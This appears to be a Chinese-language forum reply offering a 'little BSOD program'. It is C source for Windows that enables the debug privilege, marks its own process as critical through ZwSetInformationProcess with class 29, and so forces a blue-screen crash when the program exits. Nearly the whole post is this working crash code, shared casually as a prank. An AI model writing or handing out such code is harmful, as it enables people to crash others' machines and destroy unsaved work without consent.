送楼主一个BSOD的小程序,呵呵
#include <windows.h>
BOOL DebugPrivilege(TCHAR *PName,BOOL bEnable)
{
BOOL fOk = FALSE;
HANDLE hToken;
TOKEN_PRIVILEGES tp;
if(OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,&hToken))
{
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
LookupPrivilegeValue(NULL,PName,&tp.Privileges[0].Luid);
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);
fOk=(GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
typedef long (WINAPI* PZwSetInformationProcess)(HANDLE,int,PVOID,ULONG);
int main(int argc, char* argv[])
{
DebugPrivilege(SE_DEBUG_NAME,TRUE);
HINSTANCE hNtdll = GetModuleHandle(_T("ntdll.dll"));
PZwSetInformationProcess ZwSetInformationProcess =
(PZwSetInformationProcess)GetProcAddress(hNtdll,"ZwSetInformationProcess");
int nFlag = 1;
ZwSetInformationProcess((HANDLE)-1,29,&nFlag,4);
return 0;
}